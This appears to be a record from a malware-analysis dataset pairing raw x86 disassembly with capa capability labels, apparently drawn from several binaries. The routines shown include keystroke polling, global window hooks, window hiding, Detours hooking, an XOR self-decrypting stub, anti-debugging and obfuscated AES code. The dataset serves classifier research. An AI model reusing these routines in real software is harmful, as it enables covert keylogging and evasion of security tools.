joyce8/EMBER2024-capa huggingface dataset:
Function at 0x44b7f0
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
mov esi, eax
mov bl, byte [0x44b828]
push 0x10
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x44b809
or bl, 1
push 0x11
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x44b818
or bl, 4
test esi, 0x20000000
je 0x44b823
or bl, 2
mov eax, ebx
pop esi
pop ebx
ret

Function at 0x451ed0
Capabilities:
Get keyboard layout

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
test dl, dl
je 0x451ee2
add esp, 0xfffffff0
call fcn.00403c9c
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.0041a760
mov eax, dword [0x46bf60]
mov dword [eax + 4], ebx
mov dword [eax], 0x452274
mov eax, dword [0x46bf6c]
mov dword [eax + 4], ebx
mov dword [eax], 0x452280
mov eax, ebx
call fcn.0045228c
push 0
call sub.user32.dll_GetKeyboardLayout
mov dword [ebx + 0x3c], eax
mov dl, 1
mov eax, dword [0x412124]
call fcn.00403960
mov dword [ebx + 0x4c], eax
mov dl, 1
mov eax, dword [0x412124]
call fcn.00403960
mov dword [ebx + 0x50], eax
mov dl, 1
mov eax, dword [0x412124]
call fcn.00403960
mov dword [ebx + 0x54], eax
mov dl, 1
mov eax, dword [0x412124]
call fcn.00403960
mov dword [ebx + 0x58], eax
mov dl, 1
mov eax, dword [0x412124]
call fcn.00403960
mov dword [ebx + 0x7c], eax
push 0
call sub.user32.dll_GetDC
mov esi, eax
push 0x5a
push esi
call sub.gdi32.dll_GetDeviceCaps
mov dword [ebx + 0x40], eax
push esi
push 0
call sub.user32.dll_ReleaseDC
mov eax, dword [ebx + 0x58]
push eax
mov eax, 0x44e6a8
push eax
push 0
push 0
mov eax, dword [0x46c0bc]
mov eax, dword [eax]
call eax
mov dl, 1
mov eax, dword [0x41c1a4]
call fcn.0041d5e8
mov dword [ebx + 0x84], eax
mov dl, 1
mov eax, dword [0x41c1a4]
call fcn.0041d5e8
mov dword [ebx + 0x88], eax
mov dl, 1
mov eax, dword [0x41c1a4]
call fcn.0041d5e8
mov dword [ebx + 0x80], eax
mov eax, ebx
call fcn.004526ac
mov eax, dword [ebx + 0x84]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x452588
mov eax, dword [ebx + 0x88]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x452588
mov eax, dword [ebx + 0x80]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x452588
mov eax, ebx
cmp byte [ebp - 1], 0
je 0x45201f
call fcn.00403cf4
pop dword fs:[0]
add esp, 0xc
mov eax, ebx
pop esi
pop ebx
pop ecx
pop ebp
ret
Function at 0x45236c
Capabilities:
Get keyboard layout
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffda0
push ebx
xor edx, edx
mov dword [ebp - 0x260], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x452517
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
cmp dword [eax + 0x34], 0
jne 0x4524f8
mov dl, 1
mov eax, dword [0x4126cc]
call fcn.00403960
mov edx, dword [ebp - 4]
mov dword [edx + 0x34], eax
mov eax, dword [ebp - 4]
add eax, 0x38
call fcn.004046c8
lea eax, [ebp - 0x114]
push eax
push 0x40
call sub.user32.dll_GetKeyboardLayoutList
dec eax
test eax, eax
jl 0x4524e7
inc eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x114]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
call fcn.00440378
test al, al
je 0x4524da
lea eax, [ebp - 0xc]
push eax
push 0x20019
push 0
push 0
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x25c], eax
mov byte [ebp - 0x258], 0
lea ecx, [ebp - 0x25c]
mov edx, 0x452528
lea eax, [ebp - 0x254]
call fcn.00409598
push eax
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x4524da
xor eax, eax
push ebp
push 0x4524d3
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 8], pe_nt_image_headers32
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x214]
push eax
push 0
push 0
push 0x452560
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
jne 0x4524bc
lea eax, [ebp - 0x260]
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.00404938
mov edx, dword [ebp - 0x260]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov ebx, dword [eax]
call dword [ebx + 0x3c]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov edx, dword [ebp - 4]
cmp eax, dword [edx + 0x3c]
jne 0x4524bc
mov eax, dword [ebp - 4]
add eax, 0x38
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.00404938
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4524da
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey_1
ret
add dword [ebp - 0x14], 4
dec dword [ebp - 0x10]
jne 0x4523dd
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov byte [eax + 0x1d], 0
mov dl, 1
call fcn.00416950
mov eax, dword [ebp - 4]
mov ebx, dword [eax + 0x34]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x45251e
lea eax, [ebp - 0x260]
call fcn.004046c8
ret

Function at 0x452e4c
Capabilities:
Create thread
Set global application hook

Disassembly:
push ecx
mov eax, dword [0x46dbb8]
cmp byte [eax + 0xa5], 0
jne 0x452ebd
cmp dword [0x46dbd0], 0
jne 0x452e7e
call sub.kernel32.dll_GetCurrentThreadId_1
push eax
push 0
mov eax, 0x452e08
push eax
push 3
call sub.user32.dll_SetWindowsHookExA
mov dword [0x46dbd0], eax
cmp dword [0x46dbcc], 0
jne 0x452e99
push 0
push 0
push 0
push 0
call sub.kernel32.dll_CreateEventA
mov dword [0x46dbcc], eax
cmp dword [0x46dbd4], 0
jne 0x452ebd
push esp
push 0
push 0
push 0x452dac
push 0x3e8
push 0
call sub.kernel32.dll_CreateThread
mov dword [0x46dbd4], eax
pop edx
ret
Function at 0x452fb4
Capabilities:
Inspect load icon resource

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
push esi
test dl, dl
je 0x452fcb
add esp, 0xfffffff0
call fcn.00403c9c
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.0041a760
mov eax, dword [0x46c0a8]
cmp word [eax + 2], 0
jne 0x452ff3
mov eax, dword [0x46c0a8]
mov dword [eax + 4], ebx
mov dword [eax], fcn.0045468c
mov eax, dword [0x46c158]
cmp word [eax + 2], 0
jne 0x45300d
mov eax, dword [0x46c158]
mov dword [eax + 4], ebx
mov dword [eax], fcn.00454884
mov byte [ebx + 0x34], 0
mov dl, 1
mov eax, dword [0x412124]
call fcn.00403960
mov dword [ebx + 0x90], eax
mov dl, 1
mov eax, dword [0x412124]
call fcn.00403960
mov dword [ebx + 0xa8], eax
xor eax, eax
mov dword [ebx + 0x60], eax
xor eax, eax
mov dword [ebx + 0x84], eax
mov dword [ebx + 0x5c], 0xff000018
mov dword [ebx + 0x78], 0x1f4
mov byte [ebx + 0x7c], 1
xor eax, eax
mov dword [ebx + 0x80], eax
mov dword [ebx + 0x74], 0x9c4
mov byte [ebx + 0x88], 0
mov byte [ebx + 0x9d], 1
mov byte [ebx + 0xb4], 1
mov dl, 1
mov eax, dword [0x41c954]
call fcn.0042259c
mov esi, eax
mov dword [ebx + 0x98], esi
push 0x453194
mov eax, dword [0x46bfc0]
mov eax, dword [eax]
push eax
call sub.user32.dll_LoadIconA
mov edx, eax
mov eax, esi
call fcn.0042296c
mov eax, dword [ebx + 0x98]
mov dword [eax + 0x14], ebx
mov dword [eax + 0x10], 0x454e34
push pe_nt_image_headers32
lea eax, [ebp - 0x101]
push eax
mov eax, dword [0x46bfc0]
mov eax, dword [eax]
push eax
call sub.kernel32.dll_GetModuleFileNameA_1
lea eax, [ebp - 0x101]
push eax
lea eax, [ebp - 0x101]
push eax
call sub.user32.dll_OemToCharA
lea eax, [ebp - 0x101]
mov dl, 0x5c
call fcn.0040cc54
test eax, eax
je 0x453102
lea edx, [eax + 1]
lea eax, [ebp - 0x101]
call fcn.00408f8c
lea eax, [ebp - 0x101]
mov dl, 0x2e
call fcn.0040cc7c
test eax, eax
je 0x453116
mov byte [eax], 0
lea eax, [ebp - 0x101]
inc eax
push eax
call sub.user32.dll_CharLowerA
lea eax, [ebx + 0x8c]
lea edx, [ebp - 0x101]
mov ecx, pe_nt_image_headers32
call fcn.00404938
mov eax, dword [0x46bec0]
cmp byte [eax], 0
jne 0x45314a
mov eax, ebx
call fcn.004532bc
mov byte [ebx + 0x59], 1
mov byte [ebx + 0x5a], 1
mov byte [ebx + 0x5b], 1
mov byte [ebx + 0x9e], 1
xor eax, eax
mov dword [ebx + 0xa0], eax
mov eax, ebx
call fcn.00455010
mov eax, ebx
call fcn.004559d4
mov eax, ebx
cmp byte [ebp - 1], 0
je 0x45318a
call fcn.00403cf4
pop dword fs:[0]
add esp, 0xc
mov eax, ebx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x45353c
Capabilities:
Enumerate gui resources

Disassembly:
push ebx
push esi
add esp, 0xfffffff8
mov ebx, eax
mov eax, dword [0x46dbb8]
cmp dword [eax + 0x30], 0
je 0x4535e6
cmp dword [ebx + 0x94], 0
jne 0x4535e0
mov eax, dword [ebx + 0x30]
mov dword [esp], eax
mov byte [esp + 4], dl
mov eax, esp
push eax
push 0x4534cc
call sub.user32.dll_EnumWindows
mov eax, dword [ebx + 0x90]
cmp dword [eax + 8], 0
je 0x4535e0
push 3
mov eax, dword [esp + 4]
push eax
call sub.user32.dll_GetWindow
mov esi, eax
mov dword [esp], esi
push 0xffffffffffffffec
push esi
call sub.user32.dll_GetWindowLongA
test al, 8
je 0x4535a6
mov dword [esp], 0xfffffffe
mov eax, dword [ebx + 0x90]
mov esi, dword [eax + 8]
dec esi
cmp esi, 0
jl 0x4535e0
push 0x213
push 0
push 0
push 0
push 0
mov eax, dword [esp + 0x14]
push eax
mov edx, esi
mov eax, dword [ebx + 0x90]
call fcn.00414618
push eax
call sub.user32.dll_SetWindowPos
dec esi
cmp esi, 0xffffffff
jne 0x4535b5
inc dword [ebx + 0x94]
pop ecx
pop edx
pop esi
pop ebx
ret

Function at 0x454148
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
add esp, 0xffffff00
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0xa4], 0
je 0x45417d
push pe_nt_image_headers32
lea eax, [esp + 4]
push eax
mov eax, dword [ebx + 0x30]
push eax
call sub.user32.dll_GetWindowTextA
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.004047b8
jmp 0x45418a
mov eax, esi
mov edx, dword [ebx + 0x8c]
call fcn.0040471c
add esp, 0x100
pop esi
pop ebx
ret

Function at 0x4551ec
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
mov ebx, eax
mov esi, dword [ebx + 0x84]
test esi, esi
je 0x45522d
mov eax, esi
call fcn.0043b9a4
test al, al
je 0x45522d
mov eax, dword [ebx + 0x84]
call fcn.0043b6a0
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x45522d
push 0
mov eax, dword [ebx + 0x84]
call fcn.0043b6a0
push eax
call sub.user32.dll_ShowWindow
pop esi
pop ebx
ret
Function at 0x10006089
Capabilities:
Resume thread

Disassembly:
push 0x10
mov eax, 0x10011324
call fcn.10010dbc
mov ebx, ecx
mov dword [ebp - 0x18], ebx
cmp byte [ebx + 4], 0
jne 0x100061ed
call dword [sym.imp.kernel32.dll_GetCurrentThreadId]
cmp eax, dword [ebx]
jne 0x100061ed
push 0x1000334a
push 0xd008
call fcn.100062eb
mov edi, eax
mov dword [ebp - 0x1c], edi
pop ecx
pop ecx
test edi, edi
je 0x100061e6
push 0xc000
xor ebx, ebx
push ebx
push edi
call fcn.1000ec20
add esp, 0xc
mov dword [edi + 0xc000], ebx
lea eax, [edi + 0xc004]
push 0x1000
push ebx
push eax
call fcn.1000ec20
add esp, 0xc
mov dword [edi + 0xd004], ebx
test edi, edi
je 0x100061e6
call dword [sym.imp.kernel32.dll_GetProcessHeap]
push eax
lea ecx, [ebp - 0x1c]
call fcn.100062eb
mov ecx, edi
mov dword [ebp - 4], ebx
call fcn.100062eb
mov esi, eax
push esi
push 0x10003028
mov dword [ebp - 0x10], esi
call fcn.100062eb
pop ecx
pop ecx
test esi, esi
jne 0x1000619a
mov ecx, edi
call fcn.100062eb
mov eax, dword [ebp + 8]
mov eax, dword [eax + 0x24]
mov dword [ebp - 0x14], eax
test eax, eax
je 0x100061fa
mov eax, dword [eax]
mov esi, dword [eax + 8]
mov ecx, esi
call dword [0x10014250]
mov ecx, dword [ebp - 0x14]
call esi
call fcn.100062eb
test eax, eax
je 0x10006190
jg 0x10006175
mov esi, eax
mov dword [ebp - 0x10], eax
jmp 0x10006181
movzx esi, ax
or esi, 0x80070000
mov dword [ebp - 0x10], esi
push esi
push 0x10003050
call fcn.100062eb
pop ecx
pop ecx
jmp 0x1000619a
mov eax, dword [ebp - 0x18]
mov esi, dword [ebp - 0x10]
mov byte [eax + 4], 1
lea ecx, [ebp - 0x1c]
call fcn.1000704c
lea eax, [edi + 0xc000]
mov dword [ebp - 0x1c], eax
cmp dword [eax], ebx
jbe 0x100061ce
lea esi, [edi + 8]
test byte [esi - 4], 1
je 0x100061c3
push dword [esi]
call dword [sym.imp.kernel32.dll_ResumeThread]
mov eax, dword [ebp - 0x1c]
inc ebx
add esi, 0xc
cmp ebx, dword [eax]
jb 0x100061b2
mov esi, dword [ebp - 0x10]
mov ecx, edi
call fcn.100062eb
push 0xd008
push edi
call fcn.100062eb
pop ecx
pop ecx
mov eax, esi
jmp 0x100061f2
mov eax, 0x8007000e
jmp 0x100061f2
mov eax, 0x800710dd
call fcn.10010d85
ret 4
call fcn.100062eb
int3

Function at 0x100062eb
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
pushal
call 0x100062fa
pop dword [ebp - 0x2c]
mov eax, 0x100062fa
sub dword [ebp - 0x2c], eax
push 0x40
push 0x1000
push 0x3a2c0
push 0
mov eax, 0x9dc22b3
add eax, 0x6251db1
add eax, dword [ebp - 0x2c]
call dword [eax]
mov ecx, 0x4c99
xor ebx, ebx
add ebx, eax
mov esi, 0xcff318f8
sub esi, 0xbff192f8
add esi, dword [ebp - 0x2c]
mov edx, 0xe69a12f2
add edx, 0x5c65042d
mov dword [ebp - 0x10], 0x3c6e4502
mov edi, dword [esi]
xor dword [ebp - 8], ebx
xor edi, edx
sub dword [ebp - 0x24], 0xe2224b97
mov dword [ebx], edi
add dword [ebp - 8], 0xb59fa8ea
add ebx, 0xa3561de7
add ebx, 0x5ca9e21d
add esi, 0x5c5dc3da
add esi, 0xa3a23c2a
loop 0x10006350
add eax, 0xb19623be
sub eax, 0xb194fe87
mov ebx, eax
add eax, 0x3c8e70c1
add eax, 0xc3718f44
mov ecx, 0x10000000
add ecx, dword [ebp - 0x2c]
call ebx
leave
ret
Function at 0x1000c871
Capabilities:
Hook routines via microsoft detours

Disassembly:
push ebx
push esi
mov esi, ecx
push edi
cmp esi, 0x7ff80000
jbe 0x1000c892
lea edi, [esi - 0x7ff80000]
cmp esi, 0x80000000
jb 0x1000c897
mov ebx, 0xfff80000
jmp 0x1000c89d
mov edi, 0x10000
lea ebx, [esi + 0x7ff80000]
mov edx, dword [0x10013e68]
mov eax, dword [0x10013e60]
test edx, edx
jne 0x1000c8b8
test eax, eax
je 0x1000c8cb
mov edx, eax
mov dword [0x10013e68], edx
mov ecx, dword [edx + 8]
test ecx, ecx
je 0x1000c8cb
cmp ecx, edi
jb 0x1000c8cb
cmp ecx, ebx
jbe 0x1000c9ab
mov edx, eax
test eax, eax
jmp 0x1000c8ed
test edx, edx
je 0x1000c8e8
mov eax, dword [edx + 8]
test eax, eax
je 0x1000c8e8
cmp eax, edi
jb 0x1000c8e8
cmp eax, ebx
jbe 0x1000c9ab
mov edx, dword [edx + 4]
test edx, edx
mov dword [0x10013e68], edx
jne 0x1000c8d1
and esi, 0xffff0000
mov eax, 0x40000000
cmp esi, eax
jbe 0x1000c9d0
lea edx, [esi - 0x40000000]
mov ecx, edi
call fcn.100062eb
mov edx, eax
test edx, edx
jne 0x1000c971
mov eax, 0x40000000
cmp esi, eax
jbe 0x1000c93e
lea ecx, [esi - 0x40000000]
mov edx, esi
call fcn.100062eb
mov edx, eax
test edx, edx
jne 0x1000c971
mov eax, 0x40000000
cmp esi, eax
jae 0x1000c953
lea edx, [esi + 0x40000000]
mov ecx, esi
call fcn.100062eb
mov edx, eax
test edx, edx
jne 0x1000c971
mov edx, esi
mov ecx, edi
call fcn.100062eb
mov edx, eax
test edx, edx
jne 0x1000c971
mov edx, ebx
mov ecx, esi
call fcn.100062eb
mov edx, eax
test edx, edx
je 0x1000c9ee
xor ecx, ecx
mov dword [edx], 0x52727464
mov dword [edx + 8], ecx
mov esi, 0x38b
mov eax, dword [0x10013e60]
mov dword [edx + 4], eax
lea eax, [edx + 0xffa8]
mov dword [0x10013e68], edx
mov dword [0x10013e60], edx
mov dword [eax + 0x40], ecx
mov ecx, eax
sub eax, 0x48
sub esi, 1
jne 0x1000c99b
mov dword [edx + 8], ecx
mov esi, dword [edx + 8]
cmp esi, edi
jb 0x1000c9ee
cmp esi, ebx
ja 0x1000c9ee
mov ecx, dword [esi + 0x40]
push 0x48
push 0xcc
push esi
mov dword [edx + 8], ecx
call fcn.1000ec20
add esp, 0xc
mov eax, esi
jmp 0x1000c9f0
jae 0x1000c920
lea ecx, [esi + 0x40000000]
mov edx, ebx
call fcn.100062eb
mov edx, eax
test edx, edx
jne 0x1000c971
jmp 0x1000c940
xor eax, eax
pop edi
pop esi
pop ebx
ret

Function at 0x1000ca7b
Capabilities:
Resume thread

Disassembly:
push ebx
push edi
mov edi, dword [0x10013e58]
xor ebx, ebx
test edi, edi
je 0x1000cab8
push esi
push dword [edi + 4]
call dword [sym.imp.kernel32.dll_ResumeThread]
cmp eax, 0xffffffff
je 0x1000caa9
mov esi, dword [edi]
push edi
call fcn.1000dd99
mov edi, esi
pop ecx
test esi, esi
jne 0x1000ca8a
jmp 0x1000cab7
call dword [sym.imp.kernel32.dll_GetLastError]
mov ebx, eax
mov dword [0x10013e70], ebx
pop esi
mov dword [0x10013e58], edi
mov eax, ebx
pop edi
pop ebx
ret

Function at 0x43b64e
Capabilities:
Encode data using xor

Disassembly:
push 0x43b3c1
pop edi
or esi, esi
sub esi, 0x9dda2e7c
call fcn.0043b677
add ebx, 0x97b88c79
xor dword [eax], edi
and esi, ebx
inc eax
add esi, esi
cmp eax, edx
jne fcn.0043b64e
add ebx, ebx
ret
Function at 0x100b28e0
Capabilities:
Execute anti-debugging instructions

Disassembly:
pop eax
xchg ah, al
bsr ax, di
jne 0x100b28a7
je 0x100b2891
Function at 0x100b6c87
Capabilities:
Execute anti-debugging instructions

Disassembly:
bts ax, dx
jl 0x100b6969
lea esp, [esp + 2]
jmp 0x100b6973
Function at 0x100dc9fe
Capabilities:
Encrypt data using aes

Disassembly:
xor edx, esi
lea ebx, reloc.KERNEL32.dll_GetModuleHandleA
btc si, di
jmp 0x100dcc49
mov ebx, dword [esp + 3]
pop bp
not ebx
lea esp, [esp + 2]
jmp 0x100dc9e8
lea edi, reloc.KERNEL32.dll_GetModuleHandleA
mov edi, 0x450b4f8
jmp 0x100dca43
movzx esi, byte [eax + 0xd]
shl edx, 8
setge bh
xchg ebx, edi
jmp 0x100dca1f
xor edx, esi
xchg bl, bh
lea edi, [edi*4]
mov si, 0xccd0
jmp 0x100dca8a
mov edx, ebx
setle bh
movzx edx, byte [eax + 0xc]
sub esp, 3
lea esp, [esp + 3]
jmp 0x100dca35
movzx esi, byte [ebx]
pop ebx
jmp 0x100dca92
push ebx
mov ebx, eax
add ebx, 0xe
jmp 0x100dca74
push ebp
mov ebp, eax
add ebp, 0xf
jmp 0x100dcae3
btr si, sp
cmp bl, 0x12
lea esi, [ebx + edi]
inc bp
mov dword [ecx + 8], edx
jmp 0x100dca62
shl edx, 8
lea ebp, [eax + ecx]
call 0x100dcac9
pushal
xor edx, esi
shl edx, 8
jmp 0x100dcb31
movzx eax, byte [ebp]
pop ebp
not ebp
not ebp
xchg bh, bl
jmp 0x100dcabd
add esi, 0xb319dabc
mov ebp, dword [esp]
jmp 0x100dcb13
mov eax, edx
cmc
shr eax, 0x10
mov esi, 0x4ce62643
jmp 0x100dcaf0
and eax, esi
mov eax, dword [eax*4 + reloc.KERNEL32.dll_GetModuleHandleA]
bswap edi
pushal
jmp 0x100dcb50
inc bl
xor edx, eax
mov dword [ecx + 0xc], edx
jmp 0x100dcb06
pushal
mov dword [esp], edx
popal
setb bh
jmp 0x100dcbb6
lea esp, [esp + 0x5c]
xor eax, 0x1000000
jmp 0x100dcb3a
movzx esi, byte [ebp]
pop ebp
shl edx, 8
xor edx, esi
jmp 0x100dcaac
push ebp
jmp 0x100dcb9e
and edi, esi
mov bx, ax
mov bp, word [esp]
sub esp, 5
lea esp, [esp + 1]
jmp 0x100dcb76
mov ebp, edi
lea ebp, [ebp*4]
lea ebp, reloc.KERNEL32.dll_GetModuleHandleA
mov edi, dword [ebp]
jmp 0x100dcbf9
shr edi, 8
ror bl, cl
mov ebx, dword [esp]
mov ebx, edi
jmp 0x100dcb8c
btc bp, sp
lea ebp, [ebx + ebp]
jmp 0x100dcc1f
mov ebx, dword [ecx + 4]
stc
and eax, 0xff000000
lea ebp, [edx + ebx]
dec ebp
jmp 0x100dcbc2
pop ebp
sub esp, 0x1c
lea esp, [esp + 0x20]
and edi, 0xff0000
jmp 0x100dcbd8
mov bp, 0xf3e7
lea ebp, [edi - 0x5f]
jmp 0x100dcc28
xor eax, edi
xchg ebp, edi
mov edi, edx
cmc
jmp 0x100dcc09
shr edi, 0x18
mov ebp, 0x31aee850
movzx edi, byte [edi*4 + 0x100ad92c]
jmp 0x100dcc7f
push ebp
mov ebp, eax
add ebp, 0xb
jmp 0x100dcb67
mov edi, edx
and edi, esi
mov edi, dword [edi*4 + reloc.KERNEL32.dll_GetModuleHandleA]
pushfd
jmp 0x100dcc66
not bp
mov ebp, 0xff00
call fcn.100dccdd
jbe 0x100dcc69
push 0xd
cld
cmp byte [ecx - 0x60], ah
jecxz 0x100dcc97
jne 0x100dcce3
xor eax, edi
mov di, si
lea edi, [ecx*4]
mov bp, dx
jmp 0x100dcc54
jmp 0x100dccc3
and edi, ebp
call fcn.100dcc90
lea edi, [ecx + 0x10]
jmp 0x100dcd1a
xor eax, edi
bswap edi
lea esp, [esp + 8]
xor eax, dword [ecx]
jmp 0x100dccad
lea esp, [esp + 2]
jmp 0x100dcca6
mov dword [ecx + 0x14], ebx
jmp 0x100dcd39
mov eax, dword [ecx + 8]
xor eax, ebx
cmc
pushal
jmp 0x100dcce9
xor ebx, eax
mov dword [edi], eax
mov al, byte [esp]
jmp 0x100dccff
mov dword [ecx + 0x1c], edx
mov ax, 0xd693
jmp 0x100dd216
mov dword [ecx + 0x18], eax
xor edx, eax
lea eax, reloc.KERNEL32.dll_GetModuleHandleA
jmp 0x100dcd23
mov ebx, 0x100af130
lea esp, [esp + 0x20]
jmp 0x100dc794
Function at 0x100dcac9
Capabilities:
Encrypt data using aes

Disassembly:
xor edx, esi
lea ebx, reloc.KERNEL32.dll_GetModuleHandleA
btc si, di
jmp 0x100dcc49
mov ebx, dword [esp + 3]
pop bp
not ebx
lea esp, [esp + 2]
jmp 0x100dc9e8
lea edi, reloc.KERNEL32.dll_GetModuleHandleA
mov edi, 0x450b4f8
jmp 0x100dca43
movzx esi, byte [eax + 0xd]
shl edx, 8
setge bh
xchg ebx, edi
jmp 0x100dca1f
xor edx, esi
xchg bl, bh
lea edi, [edi*4]
mov si, 0xccd0
jmp 0x100dca8a
mov edx, ebx
setle bh
movzx edx, byte [eax + 0xc]
sub esp, 3
lea esp, [esp + 3]
jmp 0x100dca35
movzx esi, byte [ebx]
pop ebx
jmp 0x100dca92
push ebx
mov ebx, eax
add ebx, 0xe
jmp 0x100dca74
push ebp
mov ebp, eax
add ebp, 0xf
jmp 0x100dcae3
btr si, sp
cmp bl, 0x12
lea esi, [ebx + edi]
inc bp
mov dword [ecx + 8], edx
jmp 0x100dca62
shl edx, 8
lea ebp, [eax + ecx]
call 0x100dcac9
pushal
xor edx, esi
shl edx, 8
jmp 0x100dcb31
movzx eax, byte [ebp]
pop ebp
not ebp
not ebp
xchg bh, bl
jmp 0x100dcabd
add esi, 0xb319dabc
mov ebp, dword [esp]
jmp 0x100dcb13
mov eax, edx
cmc
shr eax, 0x10
mov esi, 0x4ce62643
jmp 0x100dcaf0
and eax, esi
mov eax, dword [eax*4 + reloc.KERNEL32.dll_GetModuleHandleA]
bswap edi
pushal
jmp 0x100dcb50
inc bl
xor edx, eax
mov dword [ecx + 0xc], edx
jmp 0x100dcb06
pushal
mov dword [esp], edx
popal
setb bh
jmp 0x100dcbb6
lea esp, [esp + 0x5c]
xor eax, 0x1000000
jmp 0x100dcb3a
movzx esi, byte [ebp]
pop ebp
shl edx, 8
xor edx, esi
jmp 0x100dcaac
push ebp
jmp 0x100dcb9e
and edi, esi
mov bx, ax
mov bp, word [esp]
sub esp, 5
lea esp, [esp + 1]
jmp 0x100dcb76
mov ebp, edi
lea ebp, [ebp*4]
lea ebp, reloc.KERNEL32.dll_GetModuleHandleA
mov edi, dword [ebp]
jmp 0x100dcbf9
shr edi, 8
ror bl, cl
mov ebx, dword [esp]
mov ebx, edi
jmp 0x100dcb8c
btc bp, sp
lea ebp, [ebx + ebp]
jmp 0x100dcc1f
mov ebx, dword [ecx + 4]
stc
and eax, 0xff000000
lea ebp, [edx + ebx]
dec ebp
jmp 0x100dcbc2
pop ebp
sub esp, 0x1c
lea esp, [esp + 0x20]
and edi, 0xff0000
jmp 0x100dcbd8
mov bp, 0xf3e7
lea ebp, [edi - 0x5f]
jmp 0x100dcc28
xor eax, edi
xchg ebp, edi
mov edi, edx
cmc
jmp 0x100dcc09
shr edi, 0x18
mov ebp, 0x31aee850
movzx edi, byte [edi*4 + 0x100ad92c]
jmp 0x100dcc7f
push ebp
mov ebp, eax
add ebp, 0xb
jmp 0x100dcb67
mov edi, edx
and edi, esi
mov edi, dword [edi*4 + reloc.KERNEL32.dll_GetModuleHandleA]
pushfd
jmp 0x100dcc66
not bp
mov ebp, 0xff00
call fcn.100dccdd
jbe 0x100dcc69
push 0xd
cld
cmp byte [ecx - 0x60], ah
jecxz 0x100dcc97
jne 0x100dcce3
xor eax, edi
mov di, si
lea edi, [ecx*4]
mov bp, dx
jmp 0x100dcc54
jmp 0x100dccc3
and edi, ebp
call fcn.100dcc90
lea edi, [ecx + 0x10]
jmp 0x100dcd1a
xor eax, edi
bswap edi
lea esp, [esp + 8]
xor eax, dword [ecx]
jmp 0x100dccad
lea esp, [esp + 2]
jmp 0x100dcca6
mov dword [ecx + 0x14], ebx
jmp 0x100dcd39
mov eax, dword [ecx + 8]
xor eax, ebx
cmc
pushal
jmp 0x100dcce9
xor ebx, eax
mov dword [edi], eax
mov al, byte [esp]
jmp 0x100dccff
mov dword [ecx + 0x1c], edx
mov ax, 0xd693
jmp 0x100dd216
mov dword [ecx + 0x18], eax
xor edx, eax
lea eax, reloc.KERNEL32.dll_GetModuleHandleA
jmp 0x100dcd23
mov ebx, 0x100af130
lea esp, [esp + 0x20]
jmp 0x100dc794